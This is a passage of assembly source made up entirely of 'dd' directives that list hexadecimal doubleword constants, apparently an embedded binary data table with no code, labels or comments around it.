0E5E36B0h, 0E492AE00h, 8A67B55Bh, 4FA0Fh, 0AF24838Eh dd 6E52035Eh, 0B4A65700h, 3A1EEE16h, 2E6F0113h, 7430F6D5h dd 0B6EB3015h, 2392A400h, 774DADFDh, 95726Ah, 0F842FEB5h dd 12650CD2h, 0DB13BE01h, 27A55E84h, 361EC70h, 0FDEF4CD0h dd 6091E98Eh, 445AF01Bh dd 86ED500h, 0B29B8869h, 4F45032Eh, 0B05CEEFAh, 508F6D88h dd 0A6D75600h, 8037EC4Dh, 2BC2012Eh, 0CA2382Ch, 590FCC52h dd 7C7BBF3Ah, 99568600h, 27CD066Ah, 3CCC03E0h, 0DC59372Ah dd 0E8239798h, 0AB195700h, 52023A67h, 33010071h, 0BD09D33Dh dd 0BF766ED4h, 0E6E1D907h, 8697B12Dh, 0E0E23B30h, 98E43CF7h dd 0A84C8A80h, 29830152h, 424E360Ch, 746FCEDh, 0FF9B80FCh dd 0B9BFD12Fh, 0EFB4C8B1h, 0DEA6EE00h, 0F798DF96h, 53D61ED8h dd 0FF07C0C8h, 0A366D58h, 2D819C03h, 0C8B55026h, 786E80h dd 1DB2C40Dh, 859B13Ah, 556A6600h, 0FD7E5DD3h, 0CEC73B4Ah dd 0EF2A8A82h, 0C0DDF535h, 5F563Ah, 0F747D8ABh, 0CE9BE8Dh dd 0BD83FC00h, 9620E453h, 8CF60E27h, 0C340198Ah, 750AAD35h dd 9A916500h, 0E3BCC9CDh, 0CCA40020h, 0B35E5709h, 5803A65Fh dd 0E2A01C83h, 0E3B488DBh, 0B1320018h, 7B7F123h, 5B004D25h dd 331AF506h, 3A45C7h, 7AC54424h, 0ACFF2DABh, 201BD403h dd 9031BF4Ch, 0F8D578Ch, 92CE71FAh, 0EB8349E0h, 7018F9Fh dd 0CF343AF7h, 0D1DC1175h, 6872003Ch, 3C7CB17h, 1D00AFC1h dd 8810B10Ah, 1BBDA0h, 0C3CECA67h, 459FAC6h, 0C945BE00h dd 93CF4442h, 2B85002Fh, 888E74F3h, 0FA0026F9h, 29F1CD80h dd 0EE1F91CFh, 0DADB0056h, 6D5E17FCh, 6E00501Dh, 0D5FFE7F0h dd 7A4CA40h, 679BC1F3h, 5C4C0039h, 500059B5h, 2EADC5EBh dd 3A961E1Ah, 8138A25Fh, 45F9FE00h, 75324A11h, 27A1F300h dd 0FF39B09Ah, 0BAD500C0h, 0F08B9C0Eh, 0CC047B7Fh, 53967091h dd 0BEF9DC0h, 0B1430F51h, 54C0EDE4h, 699C334Bh, 0E70002E4h dd 107BD175h, 7EC2AB5h, 88C30EAh, 0F077D75Bh, 0C5950E3Eh dd 9FB40C01h, 5716A26Ah, 0C346C4h, 4EDCF3F8h, 11A7D9DEh dd 9A000479h, 0CCAB7313h, 4FC1A0h, 0CBF76920h, 0D79C987Ah dd 0F23E3704h, 0EAE056h, 55B13513h, 8500D41Eh, 82F40DB7h dd 344BEB6h, 2D95EFE0h, 4DC09118h, 6901A6C4h, 7FB9D95Ch dd 6AC4D317h, 50FE00AFh, 31C83D8Eh, 6003610Eh, 224D24EAh dd 3C60FF20h, 701443E1h, 99630368h, 0CB377CB0h, 0E7347698h dd 803FAA38h, 39F314Dh, 398B88B6h, 0B2003060h, 89A1D1DCh dd 0D600BA18h, 5E9D5524h, 0F99E20h, 4C053860h, 0B1A8B3F4h dd 8EC71E00h, 0F6ECA209h, 0E2F0D4h, 0EEB21C40h, 0DAB62006h dd 629058h, 0D356414Bh, 0C522A82h, 5EC95F59h, 39008BCCh dd 4D04F175h, 0F7D2EC0h, 2ACF076Bh, 5DDCEF20h, 80009B3Ah dd 14DE5930h, 0E82953A7h, 0EEB10052h, 9AA49D1Fh, 0F81D61CFh dd 0C980F031h, 7A606B6Ah, 7BA50356h, 178E9F19h, 692D23AFh dd 123DA2E8h, 0F7DA2507h, 33B075FCh, 1CD6B56Eh, 0BE2B7298h dd 5EF4F280h, 7D856406h, 80BA913Bh, 23DC98C0h, 450AB2h dd 7B34CB1Fh, 476BFBF1h, 99A34A00h, 7610CDF2h, 395800AFh dd 1161CAB7h, 0E1007EDBh, 5BCE6C0Fh, 588477AAh, 6300C87Bh dd 0D15AAC0Ah, 3500BB8Bh, 0EA5E309Bh, 3DB8CABEh, 9F1F92EBh dd 0CFC1006Eh, 9134D040h, 0E4897A00h, 0C453B3F6h, 0C65E00A7h dd 0FFCD85BBh, 0FD0FBDA1h, 0E32ACC1Dh, 0D0CE2149h, 0D6CAEEh dd 5D8A2DF3h, 4EBCD295h, 0EB44B700h, 0B59B2C3Bh, 0AD5006Fh dd 2CA50F2h, 0F80EF3A5h, 0E05C1B73h, 36EB153Fh, 0E09B0089h dd 12A37DEEh, 1F383C91h, 85069F7Ch, 77A74B07h, 0E1E8F2E0h dd 6C890061h, 45C0BA6Bh, 0F0002318h, 10CCD65Bh, 0F265C258h dd 11800009h, 787E4316h, 9700A321h, 0F14189A8h, 0B89A76E4h dd 99661C8Bh, 0F9EF4794h, 7714904Eh, 620034A6h, 2BA0586Dh dd 36EF74Fh, 0BE750F0Ah, 3EE34D72h, 0E945EE80h, 1CBB4103h dd 0E848DC03h, 6FA49Fh, 7D176D6h, 0BF44AA91h, 3AAE2407h dd 82A0C07Bh, 0D9CDC4h, 0CAF6B806h, 40C8FB58h, 843C9B00h dd 0E129789Fh, 514900DFh, 3DE6D1D5h, 31074B7Ah, 0CF420534h dd 381F9C00h, 109089h, 2A1E8A2Ch, 7905F8F2h, 1FD44Ch, 4E5BA1C1h dd 677501h, 2CAA0C85h, 0B6C363F8h, 84A75F00h, 13A2DF8Bh dd 1223034Ch, 9221C7DBh, 0EF0738F0h, 0B39F0600h, 0CC67E19Eh dd 739B0093h, 1B8D8FBFh, 0B47E35C5h, 25D9A00h, 47ADD13Eh dd 1CF30416h, 0AB14ACD5h, 56A57000h, 7709F8h, 9D64E1C9h dd 0DE4F4CEh, 0EDB9D4F1h, 9474C71Dh, 21A8B207h, 0EF59F820h dd 0E14400D0h, 6156340Bh, 78B06962h, 7500CB7Dh, 0E25D70B4h dd 1DE21A2h, 0F0FD02FFh, 0F0C4D38Ch, 0B000EF1Ah, 7F835E07h dd 78B40521h, 508B0091h, 4C48FAA4h, 0B80064CDh, 80B35F38h dd 0F36C3D5h, 0E362179Dh, 0B4C5F6E0h, 39002B0Ah, 34F8D192h dd 0D60359h, 541DBBA3h, 0A440D386h, 0EF763600h, 197F1013h dd 0D7280046h, 8FEB7198h, 600BA97h, 5B2FDFF4h, 347A8DDh dd 0C3D2B04Eh, 94E02C46h, 0C500866Dh, 0E1628E33h, 65A1D7h dd 8D21E6CCh, 928411F4h, 37CD2900h, 0BFD27C1Eh, 787D00B8h dd 9046FDDh, 34005648h, 0CB2CC1ADh, 1350283h, 28B1DBEFh dd 0FC2776CDh, 0F01F89Ah, 0C9C60A68h, 0CEC0E0FAh, 4D1B006Ah dd 43F7712Dh, 38C0B686h, 0BC0B9879h, 8E6B0E9Ah, 0AAE385Dh dd 0A475C100h, 813F0E5Ah, 5E69031Eh, 0A8E32374h, 27A0290h dd 0E8F71B1Dh, 0D15413EDh, 84DE3200h, 59AE34h, 0FC3AA22Ah dd 0D83FB254h, 6F6A371Eh, 0BC981301h, 92CC74FBh, 0F60E0FF5h dd 0F0023BDh, 4753A815h, 0B93D0D00h, 0C1826324h, 0CE7183h dd 0C8847D9Fh, 1CCB967Ah, 6B02D00h, 9523F0EEh, 86A601BBh dd 672CD0DFh, 80B1EDC1h, 8B02FC4Ah, 31FB0E6h, 7ECE436Bh dd 9A9F8FBh, 0D496C467h, 8F04209h, 3DABF674h, 94ED8785h dd 0D8B005Bh, 0C3E649CCh, 0B1764E00h, 0CA0C8C75h, 766FE67Eh dd 0CF890018h, 179072C8h, 117B1E6h, 5900DB70h, 0F2B83594h dd 0EA5E98C6h, 67461EC0h, 0A64C006Bh, 8764E7C3h, 0AEBC5400h dd 57FDE33Ch, 4F2F001Fh, 27A7F5BEh, 6B00FFFAh, 46AB4B80h dd 59BF91h, 82DDC5F3h, 7C03126Dh, 0EBEE6E17h, 0E3372200h dd 74547FAh, 0F78D6F92h, 6476208Ah, 0F800D63Bh, 0A7A586DCh dd 1DB9F4h, 0BA63FEA6h, 0E07E6F49h, 752AC900h, 44077468h dd 76D20E8Ah, 47001885h, 0D67F43BCh, 29008F72h, 4DC8F7DCh dd 7906BB3h, 70E9D332h, 23A9F0A5h, 81010AB0h, 1F9E856Ch dd 4C701758h, 42A100B2h, 0E23F91BAh, 0C0E9F2FFh, 0A0044653h dd 92DCC9B3h, 45573C80h, 0BF011D40h, 759F09B6h, 586008Fh dd 2700D894h, 0AECE7632h, 792D46h, 0DE98CF81h, 8D9F8B54h dd 0ED50E703h, 0CFCE1DAFh, 0D6D06FB7h, 700C08h, 0CC572DCFh dd 12E5ADBCh, 9E755000h, 0F48CE8CDh, 0C4A4007Fh, 0DD2924F1h dd 9C00FF5Fh, 0B3FD27C1h, 0E857DC6h, 579E9395h, 630CA383h dd 99A624C8h, 2BC31C26h, 19448100h, 0E4025662h, 34660071h dd 0E2059717h, 89732A88h, 54599800h, 0A561F9B1h, 816001Dh dd 1202801Eh, 6F3FB8E0h, 0D078097h, 57DF2538h, 22E200D4h dd 3F515413h, 1700AAC9h, 0AFD8EE01h, 0D5CD26h, 0DF479ECCh dd 2B663E9Ch, 808E1E38h, 2381141Ch, 0EA54B5h, 218670D4h dd 0C37CC9C1h, 0D746000h, 0A2958ED0h, 4E1600F5h, 5D271215h dd 0A4008F6Eh, 21E2A1D5h, 24843B59h, 3150A87h, 676EF593h dd 8ABB4C90h, 0A4134400h, 0B36D293Eh, 6B72004Dh, 8345B712h dd 1A1386FEh, 0DF05B15Ch, 62809504h, 3E55F67h, 312FED02h dd 0A2284FC9h dd 7C7EF736h, 0C7002F98h, 0F5D45543h, 3A0F82h, 0C4BD7853h dd 39DF0622h, 0BFC2A900h, 0E2B58BB0h, 0A149019Ah, 0E783435Fh dd 22C3C606h, 0B3EFAEA8h, 8007BF3Dh, 0B612BE7Dh, 89C508h dd 0D50D8B49h, 8170214Fh, 79E64600h, 0E8B43064h, 7C7EC4h dd 0CAF5509Fh, 0F2527EE1h, 8177EC3Ah, 51D86C47h, 84EBF779h dd 0AF9D80EAh, 600C12Ch, 42115EE2h, 7A8C0233h, 0B89E0049h dd 6E4F5D09h, 0D10051BDh, 0FAC373ECh, 3A38C68h, 57C081F4h dd 0D8E82AEAh, 1E00609Dh, 2FBE4270h, 0E3384BCh, 0A3485BB1h dd 0A0E27567h, 0DCFFC54Fh, 6F41ED00h, 1F649520h, 10E0004Ch dd 5DC78249h, 92005322h, 1DE6B952h, 0A2A39Eh, 78910266h dd 0D3A63438h, 951FD501h, 1DC27EDEh, 0F2449B30h, 0D49D02F1h dd 0C014DC66h, 5491F840h, 0C34CA100h, 0E105D0F6h, 0FC0900D8h dd 0EC53D1C9h, 2E01EF0Bh, 31C64B1Fh, 87E8A569h, 43670062h dd 75A63B1Dh, 22E80E38h, 1100A1E6h, 39F35852h, 4E3530h dd 447D68ABh, 0DF70D99Ch, 77E20300h, 5C511581h, 0E0E9003Eh dd 0CCBFBB0Eh, 4007A9Bh, 0F6AE8B11h, 0EBD709h, 0B8210716h dd 1EA9CF10h, 2894460Eh, 0B47B4274h, 132F4B2h, 0C6EDC01Ch dd 0A4F3C8DDh, 9307D400h, 0FD97E456h, 0A81A1D13h, 7F9A406Eh dd 0EE74832h, 9885EA00h, 7D3ADDD9h, 30D00065h, 0ACD1BAD2h dd 0A53C792Ch, 0CAA3000Bh, 1FAA5518h, 198DDh, 1EF9D696h dd 0A116796Fh, 7DC24304h, 5DC0882Eh, 5B4E1Ah, 56B8FBF8h dd 623C85ADh, 0F6EEC100h, 99C69889h, 16FE7AEBh, 167D737h dd 85C0E2E5h, 651D015h, 5082E513h, 6CA97340h, 3FF59039h dd 1EF7BA41h, 803317A2h, 0C61C9EA4h, 0D80099A1h, 0AE819877h dd 714B6BEBh, 0DA1D00ACh, 6ABCBE97h, 8E74E178h, 0A0E21600h dd 0C4409818h, 0BD7000DBh, 8D7AE565h, 0C50090A4h, 7DACFE76h dd 7E27F6Ch, 0B13EDA94h, 0A81F60E5h, 0AF052373h, 0D84BA980h dd 4C33F480h, 144E001Eh, 77B7FA88h, 8A0096ADh, 0EA3A2348h dd 0A53682h, 19BBDDF1h, 0F5C550C6h, 83DFBE0Ah, 0A009190h dd 3E2B3452h, 809107C2h, 0F0BB257Ah, 2C5FACC5h, 56D6B903h dd 0B0A4B33Fh, 0B7EB6Ch, 0F805C9D8h, 5750CDE7h, 7F2B0B09h dd 85808063h, 80FE66h, 17879D5Bh, 0FAF3B6A4h, 0B32FB00h dd 1FC9955Dh, 0AFF7039Bh, 16E5FC77h, 0E1D59E88h, 0A1A40C00h dd 3099BC22h, 0CDDE0080h, 6AE3E554h, 820120DFh, 0E68D23C0h dd 0DDDC5C2Dh, 767F2Bh, 29808C85h, 43AF7E93h, 0B49E9900h dd 0F69D3ECh, 67653DC8h, 1B03B93Ah, 561F5C9Ch, 791E998h dd 471FD971h, 8C52956Ah, 1D631800h, 0FDC04Ah, 0D44C0432h dd 0D7026ED0h, 0A1D6E4FDh, 0A9A24502h, 0C0D315EFh, 4409FFAh dd 0B66B6AABh, 0BD77C04Fh, 0B2005E7Dh, 4799158Ah, 98E46Fh dd 362F4C41h, 794D39CDh, 62B37700h, 55E22661h, 97E600F2h dd 0D7C80D8Ah, 0B1037170h, 8342A866h, 0F64AB858h, 5CA20376h dd 0D3FAF98Eh, 312881C0h, 0D706E100h, 5F64AC51h, 37F200A3h dd 335D950h, 0AE1E8ADFh, 1766E8C0h, 9D60D800h, 8CC16Dh dd 0E5522305h, 0E8AA0C7h, 18241000h, 2BF13851h, 0FEB80003h dd 0DAF2DB36h, 9A0050F5h, 7B71799Fh, 0A0477F37h, 0FD682FF1h dd 7526C8h, 9E1A9221h, 4C249366h, 85DA700h, 56FA2A0Eh dd 5F6D00D5h, 0AA927A46h, 71EACB6h, 258AB1D3h, 0EA00D9E7h dd 5DE719Dh, 98CC007Ah, 1830D86Fh, 0D37A66CDh, 7CA2FF00h dd 0E82EF4E3h, 964D00C1h, 0A8D8B0AEh, 0F20EEF15h, 60351071h dd 114C9119h, 5288006Ch, 15DFFAC6h, 0E80079ABh, 0A81DC13Bh dd 0F2C06A0Fh, 7ED600BFh, 5A60EC3Ch, 0E8EEEF21h, 0F000A3E8h dd 0F9883822h, 3EBEA032h, 0E4859719h, 9275291h, 1E8034FFh dd 56F7996Fh, 0C992B00Fh, 9F80FE2Eh, 5E451311h, 531907ACh dd 0D07CA490h, 5A5D542Fh, 411B2D00h, 69E9819Dh, 16FEF4h dd 85CFE367h, 56D3BC53h, 0AFFD230Fh, 845A6007h, 9ADD73h dd 71530E41h, 9075856Eh, 6300AC77h, 0D26CF433h, 2BD34Ah dd 0DCE4FBBEh, 9B03486Eh, 21A86002h, 0E0CB1C66h, 709D7Bh dd 0F6FB162Bh, 0F0B105C7h, 80B2393Ch, 97991946h, 24AFA50Eh dd 1F4DA772h, 6D3103F3h, 0FC92B38h, 6727F047h, 72026103h dd 0F8AAE9A6h, 1AD37h, 8B4B312h, 91094380h, 49000790h dd 7B11EF4Fh, 16AD72Dh, 25F0FEB1h, 0FCF98D0Eh, 770B3DB2h dd 4E2142h, 0C991D03Dh, 4B5E0F2Ah, 5D20957Bh, 0BF01C10Ch dd 0C4D570F3h, 0AEE2AF00h, 0EF1E5B0Bh, 591116B5h, 29F100EEh dd 0FFD8E837h, 0E9FB9B00h, 8320AFA8h, 0E6B009Ch, 0D5E3EC6Ch dd 4C02DFBAh, 4E8BCCB2h, 8E0AC012h, 10552ECEh, 94D100ACh dd 0A79FB365h, 16F4DA00h, 3F6C5BF3h, 56FE78h, 91B2FE2Fh dd 65707924h, 0FF17510Eh, 4A805DE4h, 7885DF72h, 58380040h dd 13B37B99h, 1000FCF8h, 0ADC74AE8h, 38DE6DC0h, 9A1E3D41h dd 4A60A5C2h, 99008654h, 0E0C9A3B5h, 814396h, 781A2C9Ch dd 0F4749FEAh, 6F4FB000h, 26880FC4h, 60280005h, 518E1CA0h dd 0E5079CBAh, 383DB6CBh, 5F801EE0h, 0F66D00B9h, 0DED386FDh dd 60790FC8h, 0EC599E00h, 5FE17F22h, 0F668009Bh, 1509374h dd 831F797Ch, 1C80A6E6h, 0C40DE61h, 14820033h, 0D5AC25A8h dd 0B509BFDDh, 80C984D0h, 5C6C7F2Dh, 0DE8D009Ah, 0E0039C13h dd 5D1FC65Fh, 71030CABh, 0D0AE98A5h, 7F66FFBFh, 4CF300B8h dd 0CCC76BF8h, 0CD077114h, 15C66A43h, 6E4039A0h, 473B097Fh dd 0BA802654h, 4A74494Ch, 0C982550Eh, 0BCA22098h, 321CEBh dd 0DCFD3C6Fh, 5E8DA9E2h, 8121F0Fh, 31A1A019h, 3AAF76E8h dd 54002C55h, 136783D0h, 15038658h, 3DD9EA9Eh, 0BE18B0B3h dd 8BD8077Ch, 5067B69Ah, 0CFE90DC2h, 0F8C67D0Fh, 7339A08Fh dd 5FE8D3h, 29DA9AE3h, 9C3A7A1Ah, 247EAD17h, 3440611Eh dd 0FF949B20h, 736802FDh, 862EE062h, 0F54E6840h, 8D0079E8h dd 614BC0E3h, 1F0D65E4h, 0FAE9CF97h, 38F54580h, 0EE8CA7CDh dd 8D135B03h, 0D05E0531h, 2402F9D7h, 0FC340Dh, 0BB403FA8h dd 5A00F61Bh, 2A7644C4h, 0DBC67Bh, 36DD0AD6h, 0C0AB095Bh dd 639ADA00h, 0CAC4DD7h, 0ADC10028h, 0C64FA34Bh, 79007574h dd 0A54CAE6Fh, 0E60BB3h, 0B5260471h, 0F6645C4Ah, 7981D38h dd 4D6CDC6Ah, 0D5B30CD1h, 39F5720h, 9468D80Fh, 39D3097Dh dd 0B7154288h, 4326B600h, 633BEF77h, 0BC7D00F4h, 88092512h dd 4C008ACBh, 0D18B1ADAh, 719CE6h, 0BC46B881h, 3F8951E7h dd 0DD450400h, 1F353465h, 5A27E6DEh, 8DF280D4h, 2E00F507h dd 0C8EB3BC9h, 3B95A01h, 8BF8D24Ah, 6490F1B7h, 157198D8h dd 0A24D8900h, 96C26F87h, 0E26701D1h, 57CE3AB7h, 30302084h dd 626BD800h, 98E2F48h, 5D061D2Ch, 8D9740C1h, 9CEF6A76h dd 801E676h, 3994503Ah, 0C1F01686h, 4D850399h, 0D74C7913h dd 0C5D320A0h, 0D42DD600h, 5BBD1221h, 844400F5h, 145070F8h dd 0CE00540Ah, 6BF285B0h, 3BCAB48Eh, 0EA0767CFh, 605CF105h dd 71EEFCAAh, 26B24060h, 3B63C67Eh, 0AD00CAFDh, 87545514h dd 0D200759Eh, 18B692F7h, 0E9527Eh, 47B3176Eh, 1ACD19A2h dd 7B28F100h, 77D64BCh, 6F1800E8h, 0BDF8044Ch, 7303C681h dd 0EA4FDB66h, 95DE005Ah, 0DEB92B52h, 9B00AF56h, 60F38DB8h dd 13E71DACh, 0DD6387h, 8BD55EDEh, 0F7000123h, 9B85B35h dd 0EECB9AB5h, 185800C7h dd 1CC49ADh, 7607EEAFh, 4B598C19h, 7D1D4C20h, 400F0008h dd 0C95D11C1h, 221FDE93h, 5780FDADh, 7D0C326Ch, 4C4B1E6Eh dd 0D98501C7h, 0E8B6813Ah, 6600EEF8h, 7B3F292Fh, 771E1Bh dd 414B8FA0h, 99B9EC02h, 1A339B0Eh, 53B22036h, 11418AAh dd 8352A435h, 0D87D91CFh, 2B3CB1DDh, 0F6EC8090h, 6ABCA1F7h dd 0B84C00C3h, 0FDD36EAFh, 0E900F0E8h, 84A88642h, 92CA99h dd 9C2A6F68h, 0AE103881h, 8040A53Bh, 6EE29E67h, 0EF8E839h dd 0D1DE602h, 0F08224E0h, 0DC00D8E0h, 0CCEF9148h, 0BC5E95h dd 0B4986C66h, 76B310C1h, 1E749A00h, 0B05A0371h, 65AE00E0h dd 8DA64372h, 0E60F63A8h, 176AB404h, 0FB1EA200h, 720AA6Fh dd 49867823h, 0D8FA501Bh, 0DD07E6D7h, 0D309B597h, 0E06E6Fh dd 2A7896F5h, 0AB3C00C1h, 0B4A939F4h, 7F00649Eh, 0E8CD5876h dd 78B936Ah, 1EEA31D5h, 0B4AE0130h, 89E7D414h, 849FCB05h dd 69C1E8B8h, 0FD70C152h, 82600124h, 799DC7EAh, 0D7A8E3C8h dd 0F4E30335h, 9971054Ch, 0ABD28800h, 0ED1C7FAAh, 1F4E0048h dd 0E1045817h, 6D03CBEFh, 0A2423BEBh, 0BC9CF040h, 0D7010095h dd 3FB54DECh, 4A002516h, 730BFE46h, 485779h, 1590D1A2h dd 27E8BD95h, 5F6DD003h, 0AF187377h, 4CF48730h, 0E1C20019h dd 0BA530660h, 0B82C8A4Bh, 7C0036E0h, 0A08B7E22h, 81C1005Ah dd 0C20D64D5h, 0C900A424h, 82221012h, 3F99C3h, 8BDABADh dd 6675CEC6h, 0EF5D6000h, 388407Ah, 7E7600E1h, 0E34CB86Ah dd 0F40046A3h, 0DB1088Eh, 5F18F6h, 865EC3ADh, 0A4D84988h dd 0E8E0FE79h, 6EFAAFEAh, 0B8F5973Bh, 38D8032h, 0E4F6D274h dd 0FE510049h, 4E3B14C5h, 0AD000D6Fh, 0D8EC2FD5h, 8B86A9h dd 0DE1A8F32h, 11A7E4B9h, 95CE3Ah, 34A3249Ah, 1DC968D9h dd 0C0920C1Dh, 26D25B9Bh, 1F00376Ah, 20017727h, 176535h dd 0D67321BAh, 6942D2ACh, 11893800h, 2DE99EA9h, 0B1797Fh dd 0F152A0B6h, 95D34BE2h, 0A6788298h, 230E7C01h, 0E0C174D0h dd 0E0CCB13Bh, 0B700B15Fh, 1B663105h, 98D55C34h, 0EB100100h dd 9E082BECh, 2593E851h, 0A1C85E1Eh, 531CD000h, 0CB8381h dd 911E8AE8h, 1155D7DBh, 3F3395Ch, 0B51C5B43h, 0B803F817h dd 331F663h, 0A529E40h, 2FD03630h, 1CE02697h, 3566200h dd 6149A16Ch, 4A7D00BEh, 5FE36080h, 0C53BF776h, 6EC28029h dd 7AD1D796h, 22CA00E5h, 0C6796173h, 170058FDh, 26AB2F0Ch dd 0AC315C9h, 0FA661631h, 11E17D7h, 84E6C7B0h, 2D7BFC9Ch dd 9340B40Fh, 0D17260DBh, 5B176Bh, 0D7E24B1Ah, 0B6314FE0h dd 13DB1400h, 0B352A9EDh, 0D4A0344h, 0DFD43667h, 3BA2DDD0h dd 6E094D00h, 8119D0D6h, 2EA90AFh, 0C9960EA8h, 36419DECh dd 0C7383031h, 0A9267700h, 0FC94B9D2h, 866C007Ah, 3174107Ch dd 601F6E5h, 15D2D7B0h, 0F0CB5071h, 16D1F5Dh, 197D2055h dd 0C0AB6B60h, 0B030DE9h, 956AA64Bh, 0DED3C037h, 7D5D0F73h dd 0CC6061F5h, 2A62190h, 8E27A539h, 41B4527Bh, 7945BCE6h dd 7A06CCh, 6F1F2A23h, 5B918228h, 0C343D600h, 0B3F38797h dd 747B8Fh, 0EAD5186Ah, 194981DCh, 593E2400h, 5E285C70h dd 261002CFh, 57AFAB6Dh, 39AD61C0h, 7D006677h, 0FEE1256Ch dd 8DB675h, 72849889h, 9F43EBA5h, 3437C900h, 8FF24FEEh dd 0D5A700B6h, 13241A32h, 8D742026h, 68315400h, 0A7C7D2D9h dd 8F34047Eh, 0C0F9639Bh, 0B396776Dh, 0D3DFF4E5h, 8400097Dh dd 6AAFB7E3h, 3A5CCD87h, 64BC7889h, 668C6F02h, 36C375A5h dd 50F33083h, 76958B8h, 10D8E500h, 6FA8666Eh, 3B250034h dd 0C017E7BAh, 6100AD76h, 996B7432h, 2931F6Eh, 21C7DE23h dd 0CCE0CEC3h, 901F1A35h, 2C00DF70h, 68DBBA01h, 0D643007Bh dd 7296D47Fh, 0CD001116h, 52413F3Dh, 7DDC2062h, 0AB500FCh dd 0C536A14Dh, 0CE720F07h, 33F78400h, 97588FD8h, 4611D35h dd 0C0950008h, 2F55629Bh, 40F85300h, 3003C53Dh, 79A0011h dd 37A35443h, 7D000104h, 9479B6FFh, 688CD9h, 4957E70Eh dd 61D27207h, 3EF55500h, 0EBB85187h, 6CA10027h, 0EA598F45h dd 0CB00D302h, 0E66FF70h, 70D0D851h, 2BBB4CA0h, 0A5CD9900h dd 5CA7E5FBh, 0EE9FA600h, 7DB77091h, 39500151h, 1FCEE677h dd 0EAA2D461h, 0BBFF9D01h, 0D91DE0B9h, 1EF27ACCh, 0FCD0930Dh dd 5D389A00h, 66F74483h, 7578400h, 2143BEAh, 7285004Fh dd 0EF7BFB9Fh, 50023E9h, 11F465EEh, 2AD0BAh, 86AC8CF5h dd 0A51A2250h, 0F648BC00h, 8ECDA387h, 94EF00ABh, 6FC795F1h dd 0B1F8922Bh, 0CEB26D00h, 0D11DC19Ah, 0A9080046h, 7D292233h dd 5C005A9Eh, 43E51AC8h, 8B2CB1h, 6B487BBBh, 0D67E87B8h dd 7F2B5C00h, 39C235F3h, 65EF0099h, 8F6E3C5Ah, 0BF02FE72h dd 16AF5D2Ah, 9CE9E0C1h, 5EF200C6h, 96FBD9BAh, 77007353h dd 419D6740h, 4B984Ah, 0E3820823h, 2EABCEA0h, 0B289B900h dd 9BC63CBCh, 0D22B0016h, 0CF91CC93h, 3503FA08h, 183DEDDh dd 95809836h, 0B4BD006Ah, 64220A11h, 0A800BCE5h, 72AE7EE0h dd 3DA62E70h, 76A951h, 225219B6h, 96A04F25h, 8412FB00h dd 0DB989EFCh, 87D8002Eh, 5FA8995Dh, 40002DD5h, 12684980h dd 3B2FBCAFh, 529E97A2h, 6D1B000Dh, 29CAD2CEh, 0D144DF2Eh dd 5B8F2500h, 0B4ACE0h, 9DCF0CEAh, 0CD853EA7h, 0DD17A300h dd 8399DB2Dh, 8BE271h, 981655A9h, 7715EE07h, 354AD3Bh dd 0DA14659Ch, 0AE2CF80Ah, 6F7638F6h, 29273900h, 7A3B21BCh dd 0C6CD0B00h, 18CE7CC7h, 0EF150377h, 17E027AFh, 5BF158F0h dd 7008FB00h, 0D214F9D7h, 3FB100A9h, 7BF4C8A1h, 9D002DA3h dd 98549519h, 5568EBh, 5FE1842h, 5C6DEAD6h, 7743BE3Ah dd 0D8713F07h, 0E190DCF8h, 26A14B12h, 0D5AD33h, 6B5ABFE4h dd 22039008h, 5E1C057Bh, 0EA55C894h, 0AE463986h, 81747880h dd 0CEFD73D1h, 685CD900h, 9451B822h, 64BD003Eh, 0BCB6EAEh dd 0BA00E1FAh, 0EFB5ABE4h, 37C9335h, 1FA2FB86h, 0FEE0CD50h dd 6E01C903h, 0FAAD41C0h, 0A0FC4004h, 69F40345h, 85E36DACh dd 67DB54A8h, 0D4F57207h, 270183B3h, 11F00281h, 9C8E00CFh dd 63EFE3EAh, 73009ABFh, 189FA41Fh, 20CDD4h, 0A826D5A1h dd 78DF34CAh, 0DCA5D125h, 7A5300EAh, 0BB1BB3B0h, 0DD055D00h dd 0CD7F58BAh, 0EBD9007Eh, 0A8425AB7h, 0E5484F21h, 8FD600B2h dd 27BA1A1Dh, 0AD570033h, 63E60330h, 1E78DD23h, 0B20A5C00h dd 5364D45Bh, 3F87FA09h, 0C2807014h, 0EFB8E319h, 0C8049CBDh dd 0FDF5D4A9h, 80CAD6C3h, 3CA8F6E1h, 6A00579Dh, 5F1D71DFh dd 94009785h, 23FAA0C7h, 5120BBh, 34339B61h, 9CAAEE17h dd 48113900h, 0E7C0E638h, 73D72CCh, 0FEB9C8CFh, 990009FCh dd 11C2731h, 4D00A6B8h, 28AA7678h, 8059E6h, 67D4D3A8h dd 0BFF31F5Bh, 4975C100h, 6F28BE7Fh, 0F1150048h, 5B91A9Ch dd 60951483h, 190B18h, 3D94E1C3h, 22244533h, 38EC4C7Bh dd 98DEF700h, 0F1BE4A7h, 0A5940003h, 0DA2144CDh, 310357ACh dd 425D56C4h, 0A87198D4h, 0A04D07E8h, 70839186h, 62FA0F38h dd 84EA9700h, 5FDC9CEFh, 8F5500EEh, 585E8131h, 8007364h dd 0F713EB57h, 1D02F543h, 0A4C3D9h, 16FD1262h, 4F75C94Ch dd 99B9FA1Fh, 0F652E2C1h, 27FC1AA4h, 19A80914h, 0A5801C0Ah dd 3CE267BDh, 2632FC00h, 0DE720529h, 0CC07005Eh, 7551EDCEh dd 0DF01A898h, 47DB79E3h dd 92D822F3h, 3C0C0086h, 0B30FF918h, 7C00CC7Ah, 0B6F6B5D5h dd 0BDED21h, 0FCEAEF97h, 7FFBDEA4h, 0B90B7800h, 0F688DFB8h dd 0CDC2032Fh, 0E936A07Ah, 105FD2B0h, 0FD545B00h, 6D3559Dh dd 0D7440093h, 0B9D90C95h, 0E900D108h, 0AD9C2EA7h, 0BBF886h dd 5F854404h, 6DB503A4h, 4F7E591Dh, 47E3DE81h, 52C07A8Eh dd 7B77005Fh, 0C718A3C3h, 0DD005B2Eh, 0EBD164Ah, 0F84DCAC0h dd 0B6103E1Ch, 73504080h, 1A55FDD9h, 0A06E6800h, 7224E067h dd 0F4BD0006h, 16D930A3h, 63028CE6h, 0F909CE5Fh, 49D2E064h dd 4140007Ah, 1E66364Bh, 79001AA3h, 0E727F8Bh, 0FB08655h dd 0DBA43B95h, 80576D27h, 709606E7h, 2A7140B7h, 1D660759h dd 6142E234h, 0C8DD885Bh, 3A0018B0h, 7851BFFFh, 0E44604h dd 4AA2F244h, 7AF57C6Dh, 97005BEAh, 0E2040D5Ah, 0B527E0h dd 4DA301A8h, 0DF883406h, 0FDC26D00h, 8255071h, 0F0390276h dd 8D1AD877h, 0A73ABBC0h, 5EEDF700h, 0D13FB5E1h, 0FA7B03CDh dd 